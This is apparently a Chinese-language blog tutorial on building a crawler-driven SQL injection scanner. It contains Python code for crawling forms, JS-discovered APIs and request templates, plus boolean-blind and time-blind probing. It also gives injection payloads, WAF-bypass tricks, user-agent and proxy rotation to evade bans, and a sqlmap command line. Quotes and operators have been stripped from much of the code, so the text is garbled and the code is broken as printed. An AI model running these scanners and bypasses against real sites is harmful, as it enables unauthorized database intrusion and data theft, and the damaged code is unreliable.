ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

基于爬虫的SQL注入检测工具:从攻击面发现到布尔盲注实战

基于爬虫的SQL注入检测工具:从攻击面发现到布尔盲注实战 简介面向Web安全测试与开发人员的自动化SQL注入检测工具包以爬虫技术遍历站点入口、构造注入payload并分析异常响应帮助定位输入验证缺失导致的数据库风险。资源共625个文件压缩包约7.09MB465个Python脚本构成核心检测逻辑另有sqlmap配置、SQL命令、Shell辅助脚本、常见Web后门样本及跨平台可执行文件便于在本地搭建授权实验环境对照文档理解不同数据库场景下的注入特征。已有1099人学习下载。工具包完整覆盖漏洞探测、数据库枚举、数据提取等环节包含payload设计与异常检测思路可直接用于内网靶机或CTF题目实战也可作为安全课程中理解SQL注入攻击链的实操素材。结合目录结构可快速定位关键脚本适合已掌握基础Web安全概念的读者进一步研究。1. 基于爬虫的SQL注入漏洞检测工具为什么我不建议你只盯表单把爬虫和SQL注入检测拼在一起很多人第一反应是写个脚本把网页里的全抓出来再往输入框里塞 or 11 --看页面有没有异常。这个思路对但做出来的工具大概率只能打穿靶场放到真实业务站点上要么漏报一堆要么被WAF拦得干干净净。真正的基于爬虫的SQL注入检测工具难点不在注入payload怎么写而在爬虫怎么把攻击面找全——URL参数、JSON接口、请求头、Cookie、分页跳转、Ajax动态渲染这些位置都可能藏注入点而传统爬虫默认只看静态链接和表单。这篇文章按我实战里的做法拆开讲先确立爬虫和注入检测的配合方式再给出一套能跑的最小实现然后聊参数配置、绕过技巧最后把最容易翻车的五个坑列出来。目标是让新手照着一周内能搭出第一版熟手看完能补上自己工具里缺失的「动态参数采集」和「语义化注入验证」两块拼图。2. 模块拆解爬虫负责找路注入引擎负责验证一个能用的检测工具绝不是把爬虫和注入payload硬缝在一起。我习惯把它拆成四个模块目标管理、爬虫采集、注入测试引擎、报告输出。每个模块之间用数据格式解耦——爬虫只需要产出「请求模板」注入引擎拿到模板后自己决定往哪里注入、用什么payload、怎么判断漏洞。2.1 爬虫采集范围不止URL还要参数上下文很多初版工具只爬链接拿到URL列表后直接跑注入。这在静态站上勉强够用但现代Web应用大量使用Ajax和POST请求URL列表顶多覆盖三成攻击面。我的做法是让爬虫产出三类数据静态GET请求a href、form methodGET、页面里的重定向和iframe。动态请求XHR/fetch接口尤其是带参数的POST请求参数往往在JS变量或接口文档里。请求模板每个请求记录method、URL、headers、cookies、body模板、参数名列表、参数值样例。参数上下文比URL本身更重要。同样是search.php一个爬虫只知道它的URL无法判断keyword参数是数字型还是字符型、是否被WAF过滤。所以我在爬虫解析阶段会额外做两件事从HTML中读取input标签的type和name属性从JS中正则匹配接口URL和参数名。2.2 请求模板的数据结构JSON比原生字典更好扩展我推荐用JSON作为爬虫和注入引擎之间的中间格式而不是直接用Python字典传内存。原因很实际爬虫跑完一批目标后要被杀掉释放内存注入引擎可能分布在另一台机器上落盘成JSON可以随时续跑也方便人工审计爬虫有没有漏抓。{ url: https://example.com/search.php, method: POST, headers: { User-Agent: Mozilla/5.0, X-Requested-With: XMLHttpRequest }, cookies: { sessionid: abc123, user_role: guest }, params: [ {name: keyword, value: test, type: text}, {name: page, value: 1, type: hidden} ], body_template: keyword{keyword}page{page}, source_url: https://example.com/search }参数说明params数组是注入引擎最关心的字段type决定注入策略——text类型优先尝试字符型注入hidden类型往往传数字ID优先尝试数字型。body_template保留原始请求体的格式注入引擎替换参数值时不会破坏其他参数的编码方式。source_url用来追溯注入点是从哪个页面发现的排错时作用很大。2.3 爬虫去重与调度基于「页面指纹」而不是URLURL去重在检测工具里不够用。同一个URL带上不同参数就是不同的动态请求而?id1page2和?id1page3对注入测试来说是同一个模板。我用的方案是对URL做归一化from urllib.parse import urlparse, parse_qs, urlencode def normalize_url(raw_url): parsed urlparse(raw_url) params parse_qs(parsed.query) # 按参数名排序去掉具体值只保留参数名列表 sorted_keys sorted(params.keys()) param_pattern ;.join(sorted_keys) return f{parsed.scheme}://{parsed.netloc}{parsed.path}?{param_pattern}这个归一化函数把?id1page2和?id3page8归为同一个指纹。爬虫拿到新URL后先算指纹指纹已存在于待测队列就跳过这样能大幅减少注入引擎的无效请求量。缺点是如果参数值本身就影响业务逻辑比如订单号归一化后会丢失真实的参数样例所以我在指纹匹配时只用于去重请求模板里保留原始参数值。3. 注入检测策略基于布尔差异与时间盲注的验证闭环爬虫把请求模板送到注入引擎后最忌讳的是看到一个引号报错就报漏洞。真实站点上引号报错的原因太多了——编码问题、参数类型不匹配、程序自己逻辑崩溃全算进去能制造一堆假阳性。我的验证思路是先探测再确认最后利用。3.1 探测阶段三发请求定基础行为对每个参数我先发三发请求建立基线正常请求用请求模板里的原始参数值记录响应状态码、页面内容长度、特定关键词。非法输入参数值替换成test观察是否报错、响应长度是否有明显变化。注释符测试替换成test-- -对比是否被当作合法输入。这三发请求全部完成我才能判断参数是否真的参与了SQL语句拼接。如果第二发和第一发响应完全一致说明参数可能根本没进入SQL查询比如只是在JS里做了展示可以直接跳过这个点。如果第二发报错但第三发恢复正常基本可以确定存在字符型注入进入确认阶段。3.2 确认阶段布尔逻辑差与响应指纹布尔盲注是抓真实漏洞最稳的手段。我用两个对比请求确认注入是否成立false_payload f{param_original} AND 12-- - true_payload f{param_original} AND 11-- -逻辑上如果AND 12的响应长度明显小于AND 11说明参数被拼进了 WHERE 子句且数据库执行了我们的逻辑。判断响应差异时不要只看状态码我一般用三个维度状态码、HTML内容长度、页面内指定关键词是否存在。def is_boolean_confirmed(resp_false, resp_true, baseline): if resp_false.status_code not in (200, 302) or resp_true.status_code not in (200, 302): return False false_len len(resp_false.text) true_len len(resp_true.text) # 长度差超过基线长度的5%才认为是有效差异 threshold max(30, len(baseline.text) * 0.05) return abs(false_len - true_len) threshold这段代码里的threshold很关键。有些页面不管SQL怎么变都返回同样的框架只是数据区的行数变化长度差可能只有几十字节而有些页面因为动态广告位的影响即使正常刷新也有几百字节的抖动。5%的阈值是我在电商类站点上总结出来的经验值纯静态站可以降到2%社区论坛类站点建议提到10%否则大量评论区动态内容会产生假阳性。3.3 时间盲注当页面不反馈任何差异时的最后手段如果布尔差异不成立但爬虫明确发现该参数与数据库查询相关比如URL里的ID、分类号我会尝试时间盲注。实现时核心是每次探测只发一至两发时间请求避免大量sleep请求打挂目标数据库。import time import requests def time_based_probe(url, params, param_name, delay3): probes [ f{params[param_name]} AND SLEEP({delay})-- -, f{params[param_name]} AND IF(11, SLEEP({delay}), 0)-- - ] for probe in probes: test_params dict(params) test_params[param_name] probe try: start time.time() requests.post(url, datatest_params, timeoutdelay 5) elapsed time.time() - start if elapsed delay - 0.3: return True except requests.Timeout: return True return False注意代码里的IF(11, SLEEP(3), 0)这种写法它把条件恒真和sleep绑在一起避免出现「参数用了但条件不成立导致不sleep」的误判。生产环境中建议把delay设为3~5秒太低容易受网络抖动干扰太高会让检测队列阻塞严重。3.4 payload库与编码策略绕过WAF的单层编码技巧payload库不要从GitHub上整包拉下来就完事我一般只保留四个方向联合查询、布尔盲注、时间盲注、报错注入。每个方向准备三到五种变体重点在于用注释符和编码组合绕过简单的关键词过滤。最常见的绕过场景是WAF拦截了union select或information_schema。我常用的第一招是内联注释/*!50000union*/ /*!50000select*/MySQL5.0以上版本会解析这种注释内容。第二招是等价函数替换version()可以换成versiondatabase()可以换成schema()很多规则库对后者的覆盖不够。第三招是双写selselectect只对简单的正则匹配有效碰上语义分析的WAF基本没用。我自己的流程是先发一个无害的联合查询命中WAF拦截后再逐级降级到编码绕过而不是一开始就上全部payload打一发就跑。这样既能减少目标站日志里的攻击噪音也能在每个payload上保留充分的响应上下文用来判断。4. 最小可跑工具实现从爬虫到报告的完整管道前面把模块和策略讲清了这一章直接给一套我平时搭工具的骨架代码。它不追求功能全但胜在结构干净方便你在上面加功能。整个工具用Python3 requests BeautifulSoup实现不需要框架一个晚上能跑通。4.1 主控脚本任务队列与模块联动import json import time import requests from bs4 import BeautifulSoup class Crawler: def __init__(self, start_url, max_depth2): self.start_url start_url self.max_depth max_depth self.session requests.Session() self.session.headers.update({ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Accept-Language: zh-CN,zh;q0.9 }) self.task_queue [] self.visited_fingerprints set() self.request_templates [] def extract_forms_and_links(self, url): resp self.session.get(url, timeout10) resp.encoding resp.apparent_encoding soup BeautifulSoup(resp.text, html.parser) templates [] for form in soup.find_all(form): method form.get(method, get).lower() action form.get(action, url) inputs [] for inp in form.find_all(input): inputs.append({ name: inp.get(name), value: inp.get(value, ), type: inp.get(type, text) }) templates.append({ url: action if action.startswith(http) else f{url[:url.rindex(/)]}/{action.lstrip(/)}, method: method, params: inputs, source_url: url }) for a in soup.find_all(a, hrefTrue): self.task_queue.append(a[href] if a[href].startswith(http) else f{url[:url.rindex(/)]}/{a[href].lstrip(/)}) return templates这段代码做了三件关键事建立统一的Session保证Cookie和SessionID在爬取过程中连续从form提取输入字段把页面上所有链接加入待爬队列。值得注意的地方是resp.encoding resp.apparent_encoding不设这一步的话中文页面会乱码正则提取参数名时容易把UTF-8编码的健值对拆得乱七八糟。下一步是深度限制和指纹去重def run(self): self.task_queue.append(self.start_url) depth 0 while self.task_queue and depth self.max_depth: current_url self.task_queue.pop(0) fingerprint normalize_url(current_url) if fingerprint in self.visited_fingerprints: continue self.visited_fingerprints.add(fingerprint) try: templates self.extract_forms_and_links(current_url) self.request_templates.extend(templates) except requests.RequestException as e: print(f[!] 爬取失败: {current_url} - {e}) depth 1 with open(templates.json, w, encodingutf-8) as f: json.dump(self.request_templates, f, ensure_asciiFalse, indent2)爬取深度max_depth2意味着只爬目标站点的一级页面和二级导航页对大多数中小站点来说已经能覆盖首页、列表页和详情页三类核心攻击面。深度每加一层请求量大致翻三到五倍不是特殊情况不建议超过3层否则爬虫自己就先被限流封IP了。4.2 注入测试器读取模板并执行验证import json import requests import time class Injector: def __init__(self, templates_path, delay0.5): with open(templates_path, r, encodingutf-8) as f: self.templates json.load(f) self.delay delay self.session requests.Session() self.results [] def test_param(self, template, param): payloads { normal: param[value], false: f{param[value]} AND 12-- -, true: f{param[value]} AND 11-- - } responses {} for label, value in payloads.items(): test_params {p[name]: p[value] for p in template[params]} test_params[param[name]] value if template[method] post: resp self.session.post(template[url], datatest_params, timeout10) else: resp self.session.get(template[url], paramstest_params, timeout10) responses[label] resp time.sleep(self.delay) return is_boolean_confirmed(responses[false], responses[true], responses[normal])这里把请求发出去的逻辑收敛成一个函数将来加cookie处理或代理只是改一小段。测试参数时保留所有原始参数值只替换当前目标参数保证目标点的业务上下文不被破坏。def run(self): for template in self.templates: for param in template[params]: if param[type] submit: continue try: if self.test_param(template, param): self.results.append({ url: template[url], param: param[name], method: template[method], source: template[source_url] }) except requests.RequestException as e: print(f[!] 请求异常: {template[url]} param{param[name]} - {e}) with open(results.json, w, encodingutf-8) as f: json.dump(self.results, f, ensure_asciiFalse, indent2) print(f[] 检测完成发现 {len(self.results)} 个疑似注入点)注意循环里跳过了submit类型的按钮参数这类参数在爬虫提取时值往往是空字符串发请求时拿空值做布尔运算会产生大量误报。真实业务里按钮值有时候也会进SQL但概率极低宁可漏掉也不要制造噪音。4.3 目录爬虫与接口发现别漏掉JS文件里的API端点很多注入点不在页面HTML里而在JS文件中。常见的漏洞点在分页接口、搜索联想接口、排序接口。我在爬虫里加一段简单的JS提取逻辑import re def extract_api_endpoints(js_content, page_url): endpoints set() # 匹配形如 /api/user/list 或 /api/search?keyword 的路径 api_pattern r[\](/[a-zA-Z0-9_\-/]\.(?:php|jsp|aspx|do|action|json))[\] endpoints.update(re.findall(api_pattern, js_content)) # 匹配 fetch(/api/user, {...}) 这类写法 fetch_pattern rfetch\([\](/[a-zA-Z0-9_\-/])[\] endpoints.update(re.findall(fetch_pattern, js_content)) return [e if e.startswith(http) else f{page_url[:page_url.rindex(/)]}{e} for e in endpoints]这段正则覆盖了最常见的两种JS接口拼写方式。爬虫在解析完HTML后把页面里所有script src抓下来逐个跑一遍extract_api_endpoints拿到的新URLUniform加到待爬队列。接口类页面通常没有form表单但参数藏在URL query里注入引擎直接对query参数跑布尔探测就行。5. 参数与绕过配置真实站点上值得抄的四组设置工具写完之后关键就到了配置层。我见过很多人拿着同一个payload库打不一样的站效果全靠运气。合理的方式是根据目标特征做三档参数配置。5.1 请求速率与并发别把目标站打死也别慢到自己受不了个人审计场景下我推荐单线程加0.5秒延迟一秒两发请求是大多数业务站完全无感的水平。要是测试授权站点或者靶场可以开到5并发加0.2秒延迟。再激进就不建议了不是技术做不到是到时候被封IP溯源回来授权范围说不清楚。场景并发延迟单点测试次数个人小站/博客11.0s5-8授权业务站点2-30.5s8-12靶场/DVWA等100.1s205.2 User-Agent与Cookie池绕过基础频率限制目标站对同一个UA和Cookie组合的请求频率做统计是常态。我准备了五个常见的UA轮换每次新请求换一个。Cookie方面用一个基础会话Cookie保持登录态另外定期清理重来。不要把登录态和探测payload发到同一个请求里万一触发WAF把账号封了就亏大了。5.3 自定义字典注入参数名和值根据业务场景调整爬虫提取到的参数值往往是表单里的placeholder或者当前业务的合法值。注入时要生成边界值我一般用如下策略数字型参数typehidden或者name含id/page/num测试值从1变成1 AND 11和1 AND 12。字符型参数搜索框/keyword/name测试值从正常词变成test AND 11和test AND 12。JSON接口参数重点测id:1改成id:1 AND SLEEP(3)是否被当作字符串处理。5.4 时间盲注的延迟选择3秒是甜点位时间盲注的sleep时长选3秒以内容易被网络抖动误判选10秒以上效率太低目标站DBA看到慢查询日志也会警觉。3秒是我常用的默认值碰到高延迟跨地域目标会加到5秒。判断时用两次探测取最大值或者平均值比单次结果可靠。def time_probe_with_retry(url, params, param_name, delay3, retries2): durations [] for _ in range(retries): start time.time() try: requests.post(url, dataparams, timeoutdelay 5) except requests.Timeout: pass durations.append(time.time() - start) return max(durations) delay这段代码用两次探测的最大值做判定能过滤掉单次网络波动造成的假阳性。恶意代码不检测目标是否正常响应凡是超时统一记为疑似注入成功等布尔验证再做二次确认。注意时间盲注是噪音最大的检测手段除非布尔差异完全不可用否则不要优先启用。每发一次sleep请求都会在目标数据库留下痕迹授权测试也建议把delay调到5秒且限制总次数。6. 避坑指南从爬到测的六个常见翻车点工具的每一层都有隐藏的坑这一章把我这些年踩过的记录按现象、原因、解决串起来你照着排错能少走很多弯路。6.1 现象爬虫抓到的URL一半是404原因站点用了相对路径a href/user/list在拼接时被拼到了错误域名下或者是SPA应用里前端路由是虚拟的后端根本没有对应URL。解决拼接绝对URL时统一用urljoin不要手工字符串拼。SPA路由要额外让爬虫从构建文件里的路由表中提取真实后端地址或者用浏览器渲染模式补全Ajax接口。6.2 现象布尔差异测试全是疑似注入但人工复核全是误报原因目标页面里有动态内容比如推荐位、轮播图、广告每次请求返回的HTML长度都不同阈值设低了。解决提高阈值或者改用「固定关键词」判断。例如首页头部有「欢迎回来用户名」这种固定串注入成功和失败时这个串不会变化拿它做布尔标志比长度可靠得多。另外可以在正常模式下连发三次请求把长度差异的平均值作为基线阈值。6.3 现象注入payload在浏览器里能打但工具报告无漏洞原因工具没带浏览器执行JS后的Cookie或Token目标站有CSRF防护所有POST请求都被拒了。解决爬虫阶段用Selenium或Playwright跑一次关键流程把token和session抓下来注入到请求模板的headers里。不要每个请求都跑无头浏览器只拿token即可太重了。6.4 现象时间盲注发了几百个sleep请求但什么都不报原因目标站点的数据库不是MySQLSLEEP(3)在SQL Server或Oracle上根本不执行报错也没有。解决payload库先发一个探测数据库类型的请求用version或dbms_random.value区分数据库类型再选择对应的时间函数。SQL Server用WAITFOR DELAY 0:0:3Oracle用DBMS_LOCK.SLEEP(3)PostgreSQL用pg_sleep(3)。6.5 现象爬虫跑到一半被封IP任务全断原因没有做限速或者请求的频率超过目标服务器的反爬阈值。很多站在前几十个请求不设限连续发起几百个后才触发封禁。解决在爬虫和注入模块之间加一个令牌桶限速器每个请求前检查令牌是否充足。另外准备三到五个代理IP轮换一旦检测到频繁403就切换。注意代理切完Cookie必须换新的否则一样被识别。6.6 现象爬虫提取的表单里没有参数但页面实际是Ajax提交的原因爬虫只解析了HTML静态代码没有等到JS渲染。现代站点大量用Vue/React表单在浏览器里动态生成爬虫看到的是空壳。解决检测到页面里含有_app.js、webpack这类特征时改用无头浏览器先渲染再采集或者直接从接口文档入口手动导入请求模板。后一种方式在授权测试中往往更高效毕竟很多接口文档就在Swagger页面上。7. 最后一步用报告做验证而不是用payload数量自嗨工具跑完拿到疑似注入点列表离真正上线还差两步验证和利用。我习惯在报告里为每个注入点附上完整的请求链接、payload、响应片段人工复核时直接打开链接手工重放一遍。推荐一套轻量验证流程先从报告里随机抽三个疑似点手工用Burp Suite重放布尔盲注的payload任一个命中说明工具整体逻辑成立可以信任本批报告。如果抽的三个全都不命中优先怀疑阈值或请求链配置有问题先调试工具再大规模测试。对于确认存在的注入我一般用sqlmap做二次验证但不会直接把sqlmap挂到整个报告上跑那样动静太大。更稳妥的方式是从报告里提取精确的参数位置给sqlmap传单个URL和参数python sqlmap.py -u https://example.com/item.php?id1 --batch --level3 --risk2 --dbmsmysql参数说明--level3开启Cookie和Referer头部的注入测试--risk2开启基于时间的heavy query查询--dbmsmysql限定数据库类型可以大幅减少payload数量。这样每轮只打一个注入点既不会对目标产生风暴级请求也方便观察WAF的拦截日志。我自己的习惯是工具报告里的所有疑似点必须在当天完成人工复核隔夜再验证容易因为会话过期、数据变化产生新的误判。不管工具跑出来多少个疑似点最终交付给业务方的必须是人工复核过的精准结果。希望帮到你愿你的爬虫少被封几次注入点少踩几个假阳性。本文还有配套的精品资源点击获取
返回列表